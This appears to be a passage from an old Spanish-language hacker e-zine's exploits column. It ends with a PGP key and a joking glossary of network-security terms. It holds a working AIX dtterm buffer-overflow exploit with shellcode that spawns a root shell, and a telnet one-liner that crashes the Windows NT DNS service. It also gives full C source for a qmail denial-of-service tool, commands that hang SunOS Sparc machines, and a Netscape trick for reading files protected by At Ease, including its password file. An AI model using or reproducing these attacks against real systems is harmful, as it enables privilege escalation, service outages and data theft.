3863ffff      addi   r3,r3,-1
9061043c      st      r3,1084(SP) --terminate with 0
30610438      lis     r3,SP,1080
7c842278      xor     r4,r4,r4 --argv=NULL
80410440      lwz    RTOC,1088(SP)
80010444      lwz    r0,1092(SP) --jump
7c0903a6      mtspr  CTR,r0
4e800420      bctr                    --jump
*/

#define MAXBUF 600
unsigned int buf[MAXBUF];
unsigned int frame[MAXBUF];
unsigned int i,nop,mn;
int max;
int QUIET=0;
int dobuf=0;
unsigned int toc;
unsigned int eco;
unsigned int *pt;
char *t;
int ch;
unsigned int reta; /* direccion de retorno */
int corr=1000;
char *args[4];
char *arg1="-ms";
char *newenv[8];
int startwith=0;

mn=200;
max=300;

if (argc>1)
    corr = atoi(argv[1]);

pt=(unsigned *) &execv;
toc=*(pt+1);
eco=*pt;

if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) )
{
    perror("Bad parameters");
    exit(1);
}

#define OO 7
*((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);

```

```

*((unsigned short *)code + 00)=(unsigned short) ((toc >> 16) & 0x0000ffff);
*((unsigned short *)code + 00 + 8)=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code + 00 + 6)=(unsigned short) ((eco >> 16) &
0x0000ffff);

reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr;

for(nop=0;nop<mn;nop++)
  buf[nop]=startwith ? reta : 0x4ffffb82;          /*NOP*/
strcpy((char*)&buf[nop],(char*)&code);
i=nop+strlen( (char*) &code)/4-1;

if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)
    || !(reta && 0xff000000))
{
perror("Return address has zero");exit(5);
}

while(i++<max)
  buf[i]=reta;
buf[i]=0;

for(i=0;i<max-1;i++)
  frame[i]=reta;
frame[i]=0;

if(QUIET) {puts((char*)&buf);fflush(stdout);exit(0);}

/* 4 vars debido a que la correcta debe alinearse con un limite de 4 bytes */
newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);

newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
newenv[5]=NULL;

args[0]=prog2;
args[1]=arg1;
args[2]=(char*)&frame[0]; /* Se establecen unos frame pointers */
puts("Start...");/*Vamos!*/
execve(prog,args,newenv);
perror("Error executing execve \n");

```

Descripcion y Notas:

En usr/dt/bin/dtterm y/o en libXt se puede provocar un overflow de buffer que nos de acceso al shell de root, este bug ha funcionado en AIX 4.2
Para compilar el programa

Usa el IBM C compiler.

Compilar con: cc -g aixdtterm.c

En algun caso se puede necesitar un poco de fuerza bruta.

DISPLAY debe ser cualquiera valido.

Para: Windows NT

Tema: Violacion de DNS

Patch: En el server de Msoft , en fase beta.

```
telnet <anycomputer> 19 | telnet <anycomputer> 53
```

Descripcion y Notas:

Este comando efectua una conexion Telnet con el puerto 19 que genera una cadena de caracteres, el output es entonces redirigido a la conexion Telnet del puerto 53 (DNS), se provoca asi un "flood" que causa una Violacion de Acceso en el servicio DNS, o sea la maquina a partir de entonces deja de prestar servicios de conversion DNS/IP. "Os suena lo de "Unable to resolve host name.."

```
-----
Para: Qmail
Tema: Denegacion de Servicio qmail-smtpd
Patch: Manual
Credits: Jedi/Sector One
```

```
/* Programa para tumbar a Q-mail */
```

```
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <stdarg.h>
#include <errno.h>
#include <stdio.h>

void fatal(char *fmt,...)
{
    va_list ap;

    va_start(ap, fmt);
    vfprintf(stderr, fmt, ap);
    va_end(ap);
    putc('\n', stderr);
    exit(1);
}

chat(FILE * fp, char *fmt,...)
{
    char buf[BUFSIZ];
    va_list ap;

    fseek(fp, 0L, SEEK_SET);
    va_start(ap, fmt);
    vfprintf(fp, fmt, ap);
    va_end(ap);
    fputs("\r\n", fp);
    if (fflush(fp))
        fatal("connection lost");
    fseek(fp, 0L, SEEK_SET);
    if (fgets(buf, sizeof(buf), fp) == 0)
        fatal("connection lost");
    if (atoi(buf) / 100 != 2)
        fatal("%s", buf);
}

int main(int argc, char **argv)
```

```

{
    struct sockaddr_in sin;
    struct hostent *hp;
    char    buf[BUFSIZ];
    int     sock;
    FILE    *fp;

    if (argc != 2)
        fatal("usage: %s host", argv[0]);
    if ((hp = gethostbyname(argv[1])) == 0)
        fatal("host %s not found", argv[1]);
    memset((char *) &sin, 0, sizeof(sin));
    sin.sin_family = AF_INET;
    memcpy((char *) &sin.sin_addr, hp->h_addr, sizeof(sin.sin_addr));
    sin.sin_port = htons(25);
    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        fatal("socket: %s", strerror(errno));
    if (connect(sock, (struct sockaddr *) &sin, sizeof(sin)) < 0)
        fatal("connect to %s: %s", argv[1], strerror(errno));
    if ((fp = fdopen(sock, "r+")) == 0)
        fatal("fdopen: %s", strerror(errno));
    if (fgets(buf, sizeof(buf), fp) == 0)
        fatal("connection lost");
    chat(fp, "mail from:<me@me>", fp);
    for (;;)
        chat(fp, "rcpt to:<me@%s>", argv[1]);
}

```

Descripcion y Notas:

Qmail-dos-2 hace que un sistema de correo qmail se quede sin espacio de intercambio al enviarle una cantidad infinita de destinatarios de un mensaje.

Uso: qmail-dos-2 <nombre de host completo> (sin <> por supuesto)

Por supuesto el autor no se hace responsable de nada, si no te lo crees mira el 'disclaimer' al inicio de la revista.

Para: SunOS
Tema: Cuelgue
Patch: Manual

- 1) cat /dev/tcx0
- 2) ls /dev/tcx0/*
- 3) cat /dev/zero > cat /dev/keyboard

Descripcion y Notas:

Los dos primeros cuelgan una Sparc 5 o Sparc 20 bajo SunOS 4.1.4, no cae la Sparc 10 y puede funcionar o no con otras versiones de SunOS.

El ultimo cuelga cualquier cosa entre Sparc1-Sparc10 si utiliza SunOS. Por supuesto siempre y cuando el administrador no se haya molestado en corregir ese defecto, recuerdo que no hay patch sino que tiene que ser un trabajo "manual".

Para: Mac/At Ease

Tema: Romper proteccion
Patch: ?

Ejecutar Netscape
file://muy%20secreto/Chanchullos/gordos.txt

Descripcion y Notas:

At Ease es un programa que permite introducir restricciones de acceso a ficheros y directorios pero 'lastimosamente' esta proteccion se viene abajo si se utiliza Netscape para acceder a dichos ficheros con la sintaxis arriba descrita y donde %20 equivale a espacio.

Si el fichero no es de texto o representable por Netscape, -no hay problema!, podemos grabarlo en un directorio al que si tengamos acceso y una vez ahi manipularlo a nuestro antojo.

Las posibilidades son inmensas, puesto que _cualquier archivo de la red_ protegido con At Ease esta a nuestro alcance, --solo tenemos que mandarnoslo por correo a nosotros mismos!! (usando el mailto de Netscape).

Por ejemplo "que me decis de coger el archivo de preferencias de At Ease que contiene las claves del "master"?"

Este mes no os quejeis de los bugs.

EOF

-----BEGIN PGP PUBLIC KEY BLOCK-----

Version: 2.6.3ia

mQCNAjMK8d4AAAEAL4kqbSDJ8C60RvWH7MG/b27Xn06fgr1+ieeBHyWwIIQlGkI
l jyNvYzLToiS+7KqNMUMoASBRC80RSb8cwBJCa+dlyfRlkUMop2IaXoPRzXtn5xp
7aEfjV2PP95/A1612KyoTV4V2jpSeQZBUn3wryD1K20a5H+ngbPnIf+vEtQBAAUT
tCFQYXNlYW50ZSA8cGFzZWFudGVhZ2VvY2l0aWVzLmNvbT6JAJUDBRAzn9+Js+ch
/68S1AEBAZUfBACCM+X7hYGSoyeZVLallf5ZMXb4UST2R+a6qcp74/N8PI5H18RR
GS8N1hpYTWItBlYt2NLlxih1RX9vGymZqj3TRAGQmojzLCSpdSlJBVV5v4eCTvU/
qX2bZlxsBVwxoQP3yyp0v5cuOhIoAzvTl1UM/sE46ej4da6uT1B2UQ7bOQ==
=ukog

-----END PGP PUBLIC KEY BLOCK-----

EOF

Esta tecnica depende del S.O.

Insider attack: Un ataque que se origina dentro de la red protegida.

IP spoofing: Tipo de ataque en el que un sistema asume la dirección IP de otro para suplantarlo.

IP splicing/ Hijacking: Se produce cuando un atacante consigue interceptar una sesión ya establecida. Por ejemplo: El atacante espera a que la víctima se identifique ante el sistema y tras ello le suplanta como usuario autorizado.

Logging: El proceso de almacenar información sobre sucesos que ocurren en la red o el firewall.

Network- Level Firewall: Un firewall en el que el tráfico se examina a nivel de protocolo.

Pregunta-Respuesta: Forma de autenticación en la cual el usuario recibe algún tipo de pregunta impredecible que debe ser contestada por un authentication-token. (Challenge and Response, literalmente desafío-respuesta)

Proxy: De Palma. Conocida y bella actriz española

TCP/IP: Eso que sirve para vamos, ya me entiendes.

EOF

